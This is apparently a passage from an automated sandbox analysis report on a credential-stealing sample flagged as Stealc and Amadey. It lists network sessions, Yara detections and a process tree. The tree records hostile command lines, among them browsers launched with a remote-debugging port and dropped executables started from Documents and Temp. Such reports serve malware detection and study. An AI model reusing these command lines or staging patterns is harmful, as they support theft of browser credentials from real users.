2024-11-11 18:52:31 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	49940	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:32 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-11 18:52:32 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-11 18:52:32 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 11 Nov 2024 18:51:32 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C550_BAY x-ms-request-id: b37d423b-3546-4a64-a518-d505246fb7f0 PPServer: PPV: 30 H: PH1PEPF00011F8B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 11 Nov 2024 18:52:31 GMT Connection: close Content-Length: 11391
2024-11-11 18:52:32 UTC	11391	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49942	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:32 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:32 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 2302abc5-d01e-0017-53d5-33b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185232Z-174f7845968ljs8phC1EWRe6en000000056g00000000af4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:32 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49943	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:32 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:32 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: b29ecc16-801e-00a3-01d5-337cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185232Z-174f7845968v79b7hC1EWRu01s00000004x000000000ksnq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:32 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49941	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:32 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:32 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: dc8e8528-f01e-0085-10d5-3388ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185232Z-174f78459684bddphC1EWRbht4000000050000000000mvqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:32 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49944	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:32 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:32 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 65803071-501e-000a-4fd5-330180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185232Z-174f7845968frfdmhC1EWRxxbw00000005d000000000a1e7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:32 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Target ID:	0
Start time:	13:51:55
Start date:	11/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa00000
File size:	1'810'944 bytes
MD5 hash:	7F588FE16CE0B9AE1671CD6DB5CE4380
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2422651725.000000000074E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2432002619.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2047396173.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:52:02
Start date:	11/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:52:02
Start date:	11/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2164,i,15898123494483601464,15029883802132799241,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:52:11
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:52:12
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2432 --field-trial-handle=2176,i,4830028604527488115,10037130413237682482,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:52:12
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:52:12
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2988 --field-trial-handle=2076,i,5968905137283756732,12874145520682871177,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:52:18
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5236 --field-trial-handle=2076,i,5968905137283756732,12874145520682871177,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:52:18
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7032 --field-trial-handle=2076,i,5968905137283756732,12874145520682871177,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:52:29
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsAKKEGHJDHD.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:52:29
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:52:29
Start date:	11/11/2024
Path:	C:\Users\user\DocumentsAKKEGHJDHD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsAKKEGHJDHD.exe"
Imagebase:	0x5e0000
File size:	3'202'560 bytes
MD5 hash:	AAB4852D22A50164C2F6402A82A446BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.2436252092.00000000005E1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:52:32
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xa90000
File size:	3'202'560 bytes
MD5 hash:	AAB4852D22A50164C2F6402A82A446BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2468253524.0000000000A91000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:52:33
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xa90000
File size:	3'202'560 bytes
MD5 hash:	AAB4852D22A50164C2F6402A82A446BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2475715054.0000000000A91000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:53:00
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xa90000
File size:	3'202'560 bytes
MD5 hash:	AAB4852D22A50164C2F6402A82A446BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.3287588775.0000000000A91000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	13:53:07
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe"
Imagebase:	0xd60000
File size:	3'179'008 bytes
MD5 hash:	0EB8E45168C931C4451682C65DDE3A7E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000003.2858808504.0000000000934000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000003.2826895107.0000000000930000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000003.2826572598.000000000092D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000019.00000002.2999735217.0000000005C71000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000019.00000003.2952615207.00000000080D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000003.2830489975.0000000000932000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000003.2856534361.0000000000932000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000003.2832978210.0000000000932000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000019.00000002.2994508562.00000000008D8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:53:12
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6316 --field-trial-handle=2076,i,5968905137283756732,12874145520682871177,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	13:53:13
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe"
Imagebase:	0xcb0000
File size:	1'810'944 bytes
MD5 hash:	7F588FE16CE0B9AE1671CD6DB5CE4380
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2866034548.0000000000CB1000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000003.2825109229.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2865698823.0000000000B2D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
